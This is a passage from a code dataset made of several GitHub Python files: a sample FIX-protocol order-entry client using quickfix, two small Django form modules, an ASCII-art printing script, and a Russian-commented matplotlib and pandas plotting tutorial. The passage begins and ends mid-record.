[\"1\", \"0\", \"0\", \"1\", \"0\"]\n ]\n print(Solution().maximalRectangle1(matric))\n print(Solution().maximalRectangle2(matric))\n", "repo_name": "yiming1012/MyLeetCode", "sub_path": "LeetCode/动态规划法(dp)/85. 最大矩形.py", "file_name": "85. 最大矩形.py", "file_ext": "py", "file_size_in_byte": 2579, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 48, "usage_type": "name"}]} +{"seq_id": "21873829252", "text": "###############################################################################\n# This is all-in-one sample tht demonstates how to submit orders\n###############################################################################\n\nimport sys\nimport time\nimport argparse\nimport quickfix as fix\nimport configparser\n\nclass Application(fix.Application):\n exec_id = 0\n sessionID = None\n sessionPwd = None\n logged_out = False\n\n def setSessionPassword(self, password):\n self.sessionPwd = password\n\n def gen_exec_id(self):\n new_id = time.time_ns()\n self.exec_id = new_id if self.exec_id < new_id else self.exec_id + 1\n return repr(self.exec_id)\n\n def onCreate(self, sessionID):\n return\n\n def onLogon(self, sessionID):\n print(\"Session %s successfully logged in\" % sessionID)\n self.sessionID = sessionID\n self.logged_out = False\n return\n\n def onLogout(self, sessionID):\n print(\"Session %s logged out\" % sessionID)\n self.sessionID = None\n self.logged_out = True\n return\n\n def toAdmin(self, message, sessionID):\n msgType = fix.MsgType();\n message.getHeader().getField(msgType)\n if msgType.getValue() == fix.MsgType_Logon :\n message.getHeader().setField(fix.Password(self.sessionPwd))\n return\n\n def fromAdmin(self, message, sessionID):\n return\n\n def toApp(self, message, sessionID):\n return\n\n def fromApp(self, message, sessionID):\n print(\"Received message: \", end='')\n print_message(message)\n return\n\n def submit_order(self, symbol, side, order_type, quantity, price, destination, exchange):\n trade = fix.Message()\n trade.getHeader().setField(fix.BeginString(fix.BeginString_FIX44))\n trade.getHeader().setField(fix.MsgType(fix.MsgType_NewOrderSingle))\n\n order_id = self.gen_exec_id()\n trade.setField(fix.ClOrdID(order_id))\n trade.setField(fix.TimeInForce(fix.TimeInForce_DAY))\n trade.setField(fix.Symbol(symbol))\n trade.setField(fix.Side(side))\n trade.setField(fix.OrdType(order_type))\n trade.setField(fix.OrderQty(quantity))\n\n if price is not None:\n trade.setField(fix.Price(price))\n elif order_type != fix.OrdType_MARKET:\n raise Exception(\"Must specify price for LIMIT order\")\n\n if destination is not None:\n trade.setField(fix.ExecBroker(destination))\n if exchange is not None:\n trade.setField(fix.ExDestination(exchange))\n\n trade.setField(fix.TransactTime())\n\n side = \"BUY\" if side == fix.Side_BUY else \"SELL\"\n order_type = \"LIMIT\" if order_type == fix.OrdType_LIMIT else \"MARKET\"\n print(\"Sending order: OrderID=%s, SessionID=%s, OrderType=%s, Symbol=%s, Side=%s, Quantity=%s, Price=%s, Destination=%s, Exchange=%s\" %\n (order_id, self.sessionID, order_type, symbol, side, quantity, price, destination, exchange))\n fix.Session.sendToTarget(trade, self.sessionID)\n\n# End of Application\n\ndef print_message(msg):\n msg_str = ''\n msg_type = get_field_value(fix.MsgType(), msg.getHeader())\n if msg_type == fix.MsgType_News:\n msg_str = \"MessageType=News, Sender=\"\n msg_str += get_field_value(fix.SenderCompID(), msg.getHeader())\n msg_str += \", HeadLine=\"\n msg_str += get_field_value(fix.Headline(), msg)\n msg_str += \", Text=\"\n msg_str += get_field_value(fix.Text(), msg)\n else:\n msg_str = \"OrderID=\"\n msg_str += get_field_value(fix.ClOrdID(), msg)\n msg_str += \", MessageType=\"\n msg_str += get_message_type(msg)\n msg_str += \", Sender=\"\n msg_str += get_field_value(fix.SenderCompID(), msg.getHeader())\n msg_str += \", Target=\"\n msg_str += get_field_value(fix.TargetCompID(), msg.getHeader())\n msg_str += \", OrderType=\" #40 1-Market, 2-Limit\n msg_str += get_order_type(msg)\n msg_str += \", Side=\" #54 1-Buy,2-Sell\n msg_str += 'BUY' if get_field_value(fix.Side(), msg) == fix.Side_BUY else 'SELL'\n msg_str += \", Quantity=\" #38\n msg_str += str(get_field_value(fix.OrderQty(), msg))\n msg_str += \", Price=\"\n msg_str += str(get_field_value(fix.Price(), msg))\n msg_str += \", Symbol=\"\n msg_str += get_field_value(fix.Symbol(), msg)\n msg_str += \", ExecutionType=\" #150\n msg_str += get_exec_type(msg)\n if msg.isSetField(fix.Text().getField()):\n msg_str += \", Text=\"\n msg_str += get_field_value(fix.Text(), msg)\n msg_str += \", ExecutedQuantity=\" #14\n msg_str += str(get_field_value(fix.CumQty(), msg))\n msg_str += \", OrderStatus=\" #39\n msg_str += get_order_status(msg)\n\n print(msg_str)\n\ndef get_field_value(fobj, msg):\n if msg.isSetField(fobj.getField()):\n msg.getField(fobj)\n return fobj.getValue()\n else:\n return \"None\"\n\ndef get_message_type(msg) :\n msg_type = get_field_value(fix.MsgType(), msg.getHeader())\n if msg_type == fix.MsgType_ExecutionReport:\n return \"ExecutionReport\"\n elif msg_type == fix.MsgType_News:\n return \"News\"\n elif msg_type == fix.MsgType_NewOrderSingle:\n return \"NewOrderSingle\"\n else:\n return msg_type\n\ndef get_order_type(msg):\n ord_type = get_field_value(fix.OrdType(), msg)\n if ord_type == fix.OrdType_LIMIT:\n return \"LIMIT\"\n elif ord_type == fix.OrdType_MARKET:\n return \"MARKET\"\n else:\n return ord_type\n\ndef get_exec_type(msg):\n rpt = get_field_value(fix.ExecType(), msg)\n if rpt == fix.ExecType_NEW:\n return \"NEW\"\n elif rpt == fix.ExecType_REJECTED:\n return \"REJECTED\"\n elif rpt == fix.ExecType_TRADE:\n return \"FILLED\"\n elif rpt == fix.ExecType_CANCELED:\n return \"CANCELED\"\n else:\n return rpt\n\ndef get_order_status(msg):\n status = get_field_value(fix.OrdStatus(), msg)\n if status == fix.OrdStatus_NEW:\n return \"NEW\"\n elif status == fix.OrdStatus_FILLED:\n return \"FILLED\"\n elif status == fix.OrdStatus_REJECTED:\n return \"REJECTED\"\n elif status == fix.OrdStatus_CANCELED:\n return \"CANCELED\"\n else:\n return status\n\ndef main(config_file):\n try:\n config = configparser.ConfigParser()\n config.read(config_file)\n sender_pwd = config[\"SESSION\"][\"SenderPassword\"] if \"SESSION\" in config and \"SenderPassword\" in config[\"SESSION\"] else None\n if not sender_pwd:\n print(\"Warning: SESSION SenderPassword is not specified in config file: \" + config_file)\n\n settings = fix.SessionSettings(config_file)\n application = Application()\n application.setSessionPassword(sender_pwd)\n store_factory = fix.FileStoreFactory(settings)\n log_factory = fix.FileLogFactory(settings)\n initiator = fix.SocketInitiator(application, store_factory, settings, log_factory)\n initiator.start()\n\n parser = argparse.ArgumentParser(description='CLI Command', prog=\"command\", usage=\"help | exit | {buy,sell} -s SYMBOL -q QUANTITY [-t {LIMIT,MARKET}] [-p PRICE] [-d DESTINATION] [-e EXCHANGE] [-n ORDER_COUNT] [-i INTERVAL]\")\n parser.add_argument(\"command\", type=str, choices=[\"buy\", \"sell\"], help=\"Command\")\n parser.add_argument(\"-s\", \"--symbol\", type=str, required=True, help=\"Order instrument symbol\")\n parser.add_argument(\"-q\", \"--quantity\", type=float, required=True, help=\"Order quantity\")\n parser.add_argument(\"-t\", \"--order_type\", type=str, choices=[\"LIMIT\", \"MARKET\"], default=\"MARKET\", help=\"Order type\")\n parser.add_argument(\"-p\", \"--price\", type=float, default=None, help=\"Order limit price\")\n parser.add_argument(\"-d\", \"--destination\", type=str, default=\"SIM\", help=\"Destination ID\")\n parser.add_argument(\"-e\", \"--exchange\", type=str, default=None, help=\"Exchange ID\")\n parser.add_argument(\"-n\", \"--order_count\", type=int, default=1, help=\"Number of orders to submit\")\n parser.add_argument(\"-i\", \"--interval\", type=int, default=5, help=\"Number of seconds between orders\")\n\n # wait for the client to login\n while not application.sessionID and not application.logged_out:\n time.sleep(0.5)\n\n if not application.sessionID:\n print(\"Login failed\")\n exit(1)\n\n while 1:\n print(\"--> \", end='')\n command = input().strip()\n if not command:\n continue\n\n command_args = command.split(' ') if ' ' in command else [ command ]\n command = command_args[0]\n\n if command == \"buy\" or command == \"sell\":\n try :\n args = parser.parse_args(command_args)\n\n side = fix.Side_BUY if command == \"buy\" else fix.Side_SELL\n order_type = fix.OrdType_LIMIT if args.order_type == \"LIMIT\" else fix.OrdType_MARKET\n\n if order_type == fix.OrdType_LIMIT and args.price is None:\n print(\"Please specify LIMIT order price\")\n continue\n\n for x in range(args.order_count):\n if x > 0:\n time.sleep(args.interval)\n application.submit_order(args.symbol, side, order_type, args.quantity, args.price, args.destination, args.exchange)\n\n time.sleep(0.5) # wait a bit for response\n except:\n print(sys.exc_info()[1])\n elif command == \"quit\" or command == \"exit\":\n sys.exit(0)\n elif command == \"help\":\n parser.print_usage()\n else:\n print(\"Unknown command: %s\" % command)\n parser.print_usage()\n\n except (fix.ConfigError, fix.RuntimeError) as e:\n print(e)\n\nif __name__=='__main__':\n parser = argparse.ArgumentParser(description='FIX Client')\n parser.add_argument('config_file', type=str, help='Name of configuration file')\n args = parser.parse_args()\n main(args.config_file)\n", "repo_name": "epam/ember-python-fix-sample", "sub_path": "fix-client.py", "file_name": "fix-client.py", "file_ext": "py", "file_size_in_byte": 10136, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "quickfix.Application", "line_number": 11, "usage_type": "attribute"}, {"api_name": "time.time_ns", "line_number": 21, "usage_type": "call"}, {"api_name": "quickfix.MsgType", "line_number": 41, "usage_type": "call"}, {"api_name": "quickfix.MsgType_Logon", "line_number": 43, "usage_type": "attribute"}, {"api_name": "quickfix.Password", "line_number": 44, "usage_type": "call"}, {"api_name": "quickfix.Message", "line_number": 59, "usage_type": "call"}, {"api_name": "quickfix.BeginString", "line_number": 60, "usage_type": "call"}, {"api_name": "quickfix.BeginString_FIX44", "line_number": 60, "usage_type": "attribute"}, {"api_name": "quickfix.MsgType", "line_number": 61, "usage_type": "call"}, {"api_name": "quickfix.MsgType_NewOrderSingle", "line_number": 61, "usage_type": "attribute"}, {"api_name": "quickfix.ClOrdID", "line_number": 64, "usage_type": "call"}, {"api_name": "quickfix.TimeInForce", "line_number": 65, "usage_type": "call"}, {"api_name": "quickfix.TimeInForce_DAY", "line_number": 65, "usage_type": "attribute"}, {"api_name": "quickfix.Symbol", "line_number": 66, "usage_type": "call"}, {"api_name": "quickfix.Side", "line_number": 67, "usage_type": "call"}, {"api_name": "quickfix.OrdType", "line_number": 68, "usage_type": "call"}, {"api_name": "quickfix.OrderQty", "line_number": 69, "usage_type": "call"}, {"api_name": "quickfix.Price", "line_number": 72, "usage_type": "call"}, {"api_name": "quickfix.OrdType_MARKET", "line_number": 73, "usage_type": "attribute"}, {"api_name": "quickfix.ExecBroker", "line_number": 77, "usage_type": "call"}, {"api_name": "quickfix.ExDestination", "line_number": 79, "usage_type": "call"}, {"api_name": "quickfix.TransactTime", "line_number": 81, "usage_type": "call"}, {"api_name": "quickfix.Side_BUY", "line_number": 83, "usage_type": "attribute"}, {"api_name": "quickfix.OrdType_LIMIT", "line_number": 84, "usage_type": "attribute"}, {"api_name": "quickfix.Session.sendToTarget", "line_number": 87, "usage_type": "call"}, {"api_name": "quickfix.Session", "line_number": 87, "usage_type": "attribute"}, {"api_name": "quickfix.MsgType", "line_number": 93, "usage_type": "call"}, {"api_name": "quickfix.MsgType_News", "line_number": 94, "usage_type": "attribute"}, {"api_name": "quickfix.SenderCompID", "line_number": 96, "usage_type": "call"}, {"api_name": "quickfix.Headline", "line_number": 98, "usage_type": "call"}, {"api_name": "quickfix.Text", "line_number": 100, "usage_type": "call"}, {"api_name": "quickfix.ClOrdID", "line_number": 103, "usage_type": "call"}, {"api_name": "quickfix.SenderCompID", "line_number": 107, "usage_type": "call"}, {"api_name": "quickfix.TargetCompID", "line_number": 109, "usage_type": "call"}, {"api_name": "quickfix.Side", "line_number": 113, "usage_type": "call"}, {"api_name": "quickfix.Side_BUY", "line_number": 113, "usage_type": "attribute"}, {"api_name": "quickfix.OrderQty", "line_number": 115, "usage_type": "call"}, {"api_name": "quickfix.Price", "line_number": 117, "usage_type": "call"}, {"api_name": "quickfix.Symbol", "line_number": 119, "usage_type": "call"}, {"api_name": "quickfix.Text", "line_number": 122, "usage_type": "call"}, {"api_name": "quickfix.Text", "line_number": 124, "usage_type": "call"}, {"api_name": "quickfix.CumQty", "line_number": 126, "usage_type": "call"}, {"api_name": "quickfix.MsgType", "line_number": 140, "usage_type": "call"}, {"api_name": "quickfix.MsgType_ExecutionReport", "line_number": 141, "usage_type": "attribute"}, {"api_name": "quickfix.MsgType_News", "line_number": 143, "usage_type": "attribute"}, {"api_name": "quickfix.MsgType_NewOrderSingle", "line_number": 145, "usage_type": "attribute"}, {"api_name": "quickfix.OrdType", "line_number": 151, "usage_type": "call"}, {"api_name": "quickfix.OrdType_LIMIT", "line_number": 152, "usage_type": "attribute"}, {"api_name": "quickfix.OrdType_MARKET", "line_number": 154, "usage_type": "attribute"}, {"api_name": "quickfix.ExecType", "line_number": 160, "usage_type": "call"}, {"api_name": "quickfix.ExecType_NEW", "line_number": 161, "usage_type": "attribute"}, {"api_name": "quickfix.ExecType_REJECTED", "line_number": 163, "usage_type": "attribute"}, {"api_name": "quickfix.ExecType_TRADE", "line_number": 165, "usage_type": "attribute"}, {"api_name": "quickfix.ExecType_CANCELED", "line_number": 167, "usage_type": "attribute"}, {"api_name": "quickfix.OrdStatus", "line_number": 173, "usage_type": "call"}, {"api_name": "quickfix.OrdStatus_NEW", "line_number": 174, "usage_type": "attribute"}, {"api_name": "quickfix.OrdStatus_FILLED", "line_number": 176, "usage_type": "attribute"}, {"api_name": "quickfix.OrdStatus_REJECTED", "line_number": 178, "usage_type": "attribute"}, {"api_name": "quickfix.OrdStatus_CANCELED", "line_number": 180, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 187, "usage_type": "call"}, {"api_name": "quickfix.SessionSettings", "line_number": 193, "usage_type": "call"}, {"api_name": "quickfix.FileStoreFactory", "line_number": 196, "usage_type": "call"}, {"api_name": "quickfix.FileLogFactory", "line_number": 197, "usage_type": "call"}, {"api_name": "quickfix.SocketInitiator", "line_number": 198, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 201, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 214, "usage_type": "call"}, {"api_name": "quickfix.Side_BUY", "line_number": 233, "usage_type": "attribute"}, {"api_name": "quickfix.Side_SELL", "line_number": 233, "usage_type": "attribute"}, {"api_name": "quickfix.OrdType_LIMIT", "line_number": 234, "usage_type": "attribute"}, {"api_name": "quickfix.OrdType_MARKET", "line_number": 234, "usage_type": "attribute"}, {"api_name": "quickfix.OrdType_LIMIT", "line_number": 236, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 242, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 245, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 247, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 249, "usage_type": "call"}, {"api_name": "quickfix.ConfigError", "line_number": 256, "usage_type": "attribute"}, {"api_name": "quickfix.RuntimeError", "line_number": 256, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 260, "usage_type": "call"}]} +{"seq_id": "72528563848", "text": "from django.forms import ModelForm\nfrom django import forms\n\nfrom ..models import Collection\n\n\nclass CollectionForm(ModelForm):\n description = forms.CharField(required=False,\n widget=forms.Textarea(\n attrs={'class':'form-control'}\n )\n )\n\n class Meta:\n model = Collection\n fields = ['name', 'labels', 'description']\n\n def is_valid(self):\n valid = super(CollectionForm, self).is_valid()\n\n if not valid:\n return valid\n\n if len(self.cleaned_data['labels']) < 2:\n self.errors['labels'] = 'You must choose at least two labels'\n return False\n\n return True\n", "repo_name": "CostantiniMatteo/progetto-pss", "sub_path": "mitalian/forms/collection.py", "file_name": "collection.py", "file_ext": "py", "file_size_in_byte": 661, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.forms.ModelForm", "line_number": 7, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 8, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 8, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 9, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 9, "usage_type": "name"}, {"api_name": "models.Collection", "line_number": 15, "usage_type": "name"}]} +{"seq_id": "20780911743", "text": "from re import S\nimport pyfiglet\nfrom termcolor import colored\n\nmsg = input(\"What would you like to print? \")\ncolor_msg = input(\"What color? \")\ndef fig_print(message, color):\n valid_colors = ('red', ' blue', \"yellow\", 'blue', 'magenta', 'cyan')\n if(color not in valid_colors): color = 'cyan'\n string_format = pyfiglet.figlet_format(message, font='slant')\n text = colored(string_format, color=color)\n print(text)\n\nfig_print(msg, color_msg)\n", "repo_name": "frankieBarreto/improved-adventure", "sub_path": "Python3/pip/ascii_art.py", "file_name": "ascii_art.py", "file_ext": "py", "file_size_in_byte": 454, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pyfiglet.figlet_format", "line_number": 10, "usage_type": "call"}, {"api_name": "termcolor.colored", "line_number": 11, "usage_type": "call"}]} +{"seq_id": "23825104228", "text": "from django import forms\nfrom django.forms import formset_factory\nfrom .models import Type,Category\nclass Catform(forms.ModelForm):\n # category_name=forms.CharField(label='نام دسته ',max_length=255)\n # types=forms.ModelMultipleChoiceField(label='نوع اصلی دسته',widget=forms.Select(),queryset=Type.objects.all())\n\n class Meta:\n model=Category\n fields=['type','category_name']\n\n\n\n\nclass AttribiutForm(forms.Form):\n type_choices=(\n ('string','متنی'),\n ('number','عدد'),\n ('boolean','صفر و یک '),\n ('enum','چند مقداری ')\n )\n\n\n\n name=forms.CharField(\n label='نام ویژگی',\n widget=forms.TextInput(attrs={\n 'class':'form-control',\n 'placeholder':'نام ویژگی را اضافه کنید'\n })\n )\n att_type=forms.MultipleChoiceField(choices=type_choices)\n\n\n\n\nAttribiutFormSet=formset_factory(AttribiutForm)\n", "repo_name": "HaveFunWithCode/Restshop", "sub_path": "content/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 958, "program_lang": "python", "lang": "fa", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.forms.ModelForm", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 4, "usage_type": "name"}, {"api_name": "models.Category", "line_number": 9, "usage_type": "name"}, {"api_name": "django.forms.Form", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 15, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 25, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 27, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 27, "usage_type": "name"}, {"api_name": "django.forms.MultipleChoiceField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 32, "usage_type": "name"}, {"api_name": "django.forms.formset_factory", "line_number": 37, "usage_type": "call"}]} +{"seq_id": "25484971425", "text": "## подключение\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib as mpl\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n## минимальный пример графика:\r\nx = np.linspace(0,1 * np.pi, 100)\r\ny = np.sin(x)\r\nfig, ax = plt.subplots() # Создает новую figure и заполняет ее сеткой axes\r\nax.plot(x, y)\r\nplt.show()\r\n\r\n## визуализация с помощью pyplot:\r\nplt.plot([1, 2, 3, 4], [1, 4, 9, 16])\r\nplt.ylabel('some numbers')\r\nplt.show()\r\n\r\n## форматирование стиля\r\nplt.plot([1,2,3,4], [1,4,9,16], 'ro')\r\nplt.axis([0, 6, 0, 20])\r\nplt.show()\r\n\r\n## равномерно дискретизированное время с интервалом 200 мс\r\nt = np.arange(0., 5., 0.2)\r\n\r\n## красные тире, синие квадраты и зеленые треугольники\r\nplt.plot(t, t, 'r--', t, t**2, 'bs', t, t**3, 'g^')\r\nplt.show()\r\n\r\n## построение графиков со строками ключевых слов\r\ndata = {'a': np.arange(50),\r\n 'c': np.random.randint(0,50,50),\r\n 'd': np.random.randn(50)}\r\ndata['b'] = data['a'] + 10 * np.random.randn(50)\r\ndata['d'] = np.abs(data['d']) * 100\r\n\r\nplt.scatter('a', 'b', c='c', s='d', data=data)\r\nplt.xlabel('запись a')\r\nplt.ylabel('запись b')\r\nplt.show()\r\n\r\n## построение графиков с категориальными переменными\r\nnames = ['group_a', 'group_b', 'group_c']\r\nvalues = [1,10,100]\r\nplt.figure(figsize=(9,3))\r\nplt.subplot(131)\r\nplt.bar(names, values)\r\nplt.subplot(132)\r\nplt.scatter(names, values)\r\nplt.subplot(133)\r\nplt.plot(names, values)\r\nplt.suptitle('Категориальное построение графика')\r\nplt.show()\r\n\r\n# Cпособы установки свойств строки\r\n# аргументы ключевых слов:\r\nplt.plot(x, y, linewidth=2.0)\r\n# методы сеттера Line: line1, line2 = plot(x1, y1, x2, y2)\r\nline, = plt.plot(x, y, '-')\r\nline.set_antialiased(False) # отключить сглаживание\r\nline.set_animated(True)\r\nline.set_marker(',')\r\n# setp\r\nlines = plt.plot(1, 5, 1, 60)\r\nplt.setp(lines, color='g', linewidth=1.5)\r\nplt.setp(lines, 'color', 'g', 'linewidth', 1.5)\r\n\r\n## функция gca возвращает текущие оси (matplotlib.axes.Axes)\r\n# функция gcf возвращает текущую фигуру (matplotlib.figure.Figure)\r\ndef f(t):\r\n return np.exp(-t) * np.cos(2*np.pi*t)\r\nt1 = np.arange(0.0, 5.0, 0.1)\r\nt2 = np.arange(0.0, 5.0, 0.02)\r\nplt.figure()\r\nplt.subplot(211)\r\nplt.plot(t1, f(t1), 'bo', t2, f(t2), 'k')\r\nplt.subplot(212)\r\nplt.plot(t2, np.cos(2*np.pi*t2), 'r--')\r\nplt.show()\r\n\r\n# несколько фигур, используя несколько figure вызовов с увеличивающимся номером фигуры\r\nplt.figure(1) # первый рисунок\r\nplt.subplot(211) # первый подзаголовок на первом рисунке\r\nplt.plot([1,2,3 ])\r\nplt.subplot(212) # второй подзаголовок на первом рисунке\r\nplt.plot([4,5,6 ])\r\nplt.figure(2) # вторая фигура\r\nplt.plot([4,5,6 ]) # создает subplot() по умолчанию\r\nplt.figure(1) # рисунок 1 текущий; subplot(212) все еще актуален\r\nplt.subplot(211) # сделать подзаголовок(211) в текущем рисунке 1\r\nplt.title('Easy as 1, 2, 3')\r\n# очистить текущую фигуру clfи текущие оси cla\r\n# явное закрытие close\r\n\r\n# Работа с текстом\r\n# text может использоваться для добавления текста в произвольном месте; xlabel, ylabel, title - в определенном месте\r\nmu, sigma = 100,15\r\nx = mu + sigma * np.random.randn(10000)\r\n# гистограмма данных\r\nn, bins, patches = plt.hist(x, 50, density=1, facecolor='g', alpha=0.75)\r\nplt.xlabel('Smarts')\r\nplt.ylabel('Probability')\r\nplt.title('Histogram of IQ')\r\nplt.text(60, .025, r'$\\mu=100,\\ \\sigma=15$')\r\nplt.axis([40,160,0,0.03])\r\nplt.grid(True)\r\nplt.show()\r\n\r\n# Логарифмические и нелинейные оси координат\r\n# Фиксация случайного состояния для воспроизводимости\r\nnp.random.seed(19680801)\r\n# составление некоторых данных в открытом интервале (0, 1)\r\ny = np.random.normal(loc=0.5, scale=0.4, size=1000)\r\ny = y[(y > 0) & (y < 1)]\r\ny.sort()\r\nx = np.arange(len(y))\r\n# график с различными масштабами осей\r\nplt.figure()\r\n# linear\r\nplt.subplot(221)\r\nplt.plot(x, y)\r\nplt.yscale('linear')\r\nplt.title('linear')\r\nplt.grid(True)\r\n# log\r\nplt.subplot(222)\r\nplt.plot(x, y)\r\nplt.yscale('log')\r\nplt.title('log')\r\nplt.grid(True)\r\n# symmetric log\r\nplt.plot(x, y - y.mean())\r\nplt.yscale('symlog', linthresh=0.01)\r\nplt.title('symlog')\r\nplt.grid(True)\r\n# logit\r\nplt.subplot(224)\r\nplt.plot(x, y)\r\nplt.yscale('logit')\r\nplt.title('logit')\r\nplt.grid(True)\r\n# регулировка\r\nplt.subplots_adjust(top=0.92, bottom=0.08, left=0.10, right=0.95, hspace=0.25, wspace=0.35)\r\nplt.show()\r\n\r\n\r\n### Визуализация диаграмм\r\nplt.close(\"all\")\r\nts = pd.Series(np.random.randn(1000), index = pd.date_range(\"1/1/2000\", periods=1000))\r\nts = ts.cumsum()\r\nts.plot();\r\ndf = pd.DataFrame(np.random.randn(1000, 4), index=ts.index, columns=list(\"ABCD\"))\r\ndf = df.cumsum()\r\nplt.figure()\r\ndf.plot();\r\n\r\n# зависимость одного столбца от другого, используя ключевые слова x и y в plot():\r\ndf3 = pd.DataFrame(np.random.randn(1000, 2),\r\n columns=[\"B\", \"C\"]).cumsum()\r\ndf3[\"A\"] = pd.Series(list(range(len(df))))\r\ndf3.plot(x=\"A\", y=\"B\");\r\n\r\n# гистограмму (тип bar) можно создать следующим образом:\r\nplt.figure();\r\ndf.iloc[5].plot(kind=\"bar\");\r\n\r\n# Для помеченных данных, не относящихся к временным рядам, вы можете создать гистограмму:\r\nplt.figure();\r\ndf.iloc[5].plot.bar();\r\nplt.axhline(0, color=\"k\");\r\n\r\n# Вызов метода DataFrame’s plot.bar() создает несколько bar-графиков:\r\ndf2 = pd.DataFrame(np.random.rand(10, 4), columns=[\"a\", \"b\", \"c\", \"d\"])\r\ndf2.plot.bar();\r\n\r\n# Чтобы создать столбчатую диаграмму, stacked=True:\r\ndf2.plot.bar(stacked=True);\r\n\r\n# Чтобы получить горизонтальные полосы, метод barh\r\ndf2.plot.barh(stacked=True);\r\n\r\n# Гистограммы можно нарисовать с помощью методов DataFrame.plot.hist() и Series.plot.hist().\r\ndf4 = pd.DataFrame(\r\n{\r\n\"a\": np.random.randn(1000) + 1,\r\n\"b\": np.random.randn(1000),\r\n\"c\": np.random.randn(1000) - 1,\r\n},\r\ncolumns=[\"a\", \"b\", \"c\"],\r\n)\r\nplt.figure();\r\ndf4.plot.hist(alpha=0.5);\r\n\r\n# Гистограмму можно сложить в стопку, stacked=True.\r\n# Размер ячейки можно изменить с помощью ключевого слова bins.\r\nplt.figure();\r\ndf4.plot.hist(stacked=True, bins=20);\r\n\r\n# горизонтальные и кумулятивные гистограммы с помощью orientation='horizontal' and cumulative=True.\r\nplt.figure();\r\ndf4[\"a\"].plot.hist(orientation=\"horizontal\", cumulative=True);\r\n\r\n# Построение гистограмм, интерфейс DataFrame.hist\r\nplt.figure();\r\ndf[\"A\"].diff().hist();\r\n\r\n# DataFrame.hist() выводит гистограммы столбцов в отдельные окна subplots.figure();\r\ndf.diff().hist(color=\"k\", alpha=0.5, bins=50);\r\n\r\n# Box plots\r\n# задаем цвета, передавая словарь с ключами boxes, whiskers, medians and caps (если ключа нет, то цвет по умолчанию); sym - стиль отдельных точек\r\ndf = pd.DataFrame(np.random.rand(10, 5), columns=[\"A\", \"B\", \"C\",\"D\", \"E\"])\r\ndf.plot.box();\r\ncolor = { \"boxes\": \"DarkGreen\", \"whiskers\": \"DarkOrange\", \"medians\": \"DarkBlue\", \"caps\": \"Gray\",}\r\ndf.plot.box(color=color, sym=\"r+\");\r\n# горизонтальная и произвольно расположенная прямоугольная диаграмма с помощью vert=False и positions\r\ndf.plot.box(vert=False, positions=[1, 4, 5, 6, 8]);\r\n\r\n# Построение, интерфейс DataFrame.boxplot\r\ndf = pd.DataFrame(np.random.rand(10, 5))\r\nplt.figure();\r\nbp = df.boxplot()\r\n\r\n# стратифицированный boxplot, используя by для группировки\r\ndf = pd.DataFrame(np.random.rand(10, 2), columns=[\"Col1\", \"Col2\"])\r\ndf[\"X\"] = pd.Series([\"A\",\"A\",\"A\",\"A\",\"A\", \"B\",\"B\",\"B\",\"B\",\"B\"])\r\nplt.figure();\r\nbp = df.boxplot(by=\"X\")\r\n\r\n# подмножество столбцов для рисования, а также сгруппировка столбцов\r\ndf = pd.DataFrame(np.random.rand(10, 3), columns=[\"Col1\", \"Col2\", \"Col3\"])\r\ndf[\"X\"] = pd.Series([\"A\", \"A\", \"A\", \"A\", \"A\", \"B\", \"B\", \"B\", \"B\", \"B\"])\r\ndf[\"Y\"] = pd.Series([\"A\", \"B\", \"A\", \"B\", \"A\", \"B\", \"A\", \"B\", \"A\", \"B\"])\r\nplt.figure();\r\nbp = df.boxplot(column=[\"Col1\", \"Col2\"], by=[\"X\", \"Y\"])\r\n\r\n# Area plot (график с закрашенной областью)\r\ndf = pd.DataFrame(np.random.rand(10, 4), columns=[\"a\", \"b\", \"c\", \"d\"])\r\ndf.plot.area();\r\ndf.plot.area(stacked=False); # stacked - прозрачность\r\n\r\n# Scatter plot (Точечная диаграмма)\r\ndf = pd.DataFrame(np.random.rand(50, 4), columns=[\"a\", \"b\", \"c\", \"d\"])\r\ndf.plot.scatter(x=\"a\", y=\"b\");\r\nax = df.plot.scatter(x=\"a\", y=\"b\", color=\"DarkBlue\", label=\"Group 1\")\r\ndf.plot.scatter(x=\"c\", y=\"d\", color=\"DarkGreen\", label=\"Group 2\", ax=ax);\r\n# Можно задать столбец цветов для каждой точки:\r\ndf.plot.scatter(x=\"a\", y=\"b\", c=\"c\", s=50);\r\n# Для каждой точки можно задать свой размер\r\ndf.plot.scatter(x=\"a\", y=\"b\", s=df[\"c\"] * 200);\r\n\r\n# Шестиугольники (Hexagonal bin plot)\r\ndf = pd.DataFrame(np.random.randn(1000, 2), columns=[\"a\", \"b\"])\r\ndf[\"b\"] = df[\"b\"] + np.arange(1000)\r\ndf.plot.hexbin(x=\"a\", y=\"b\", gridsize=25);\r\n\r\n# Круговой график (Pie 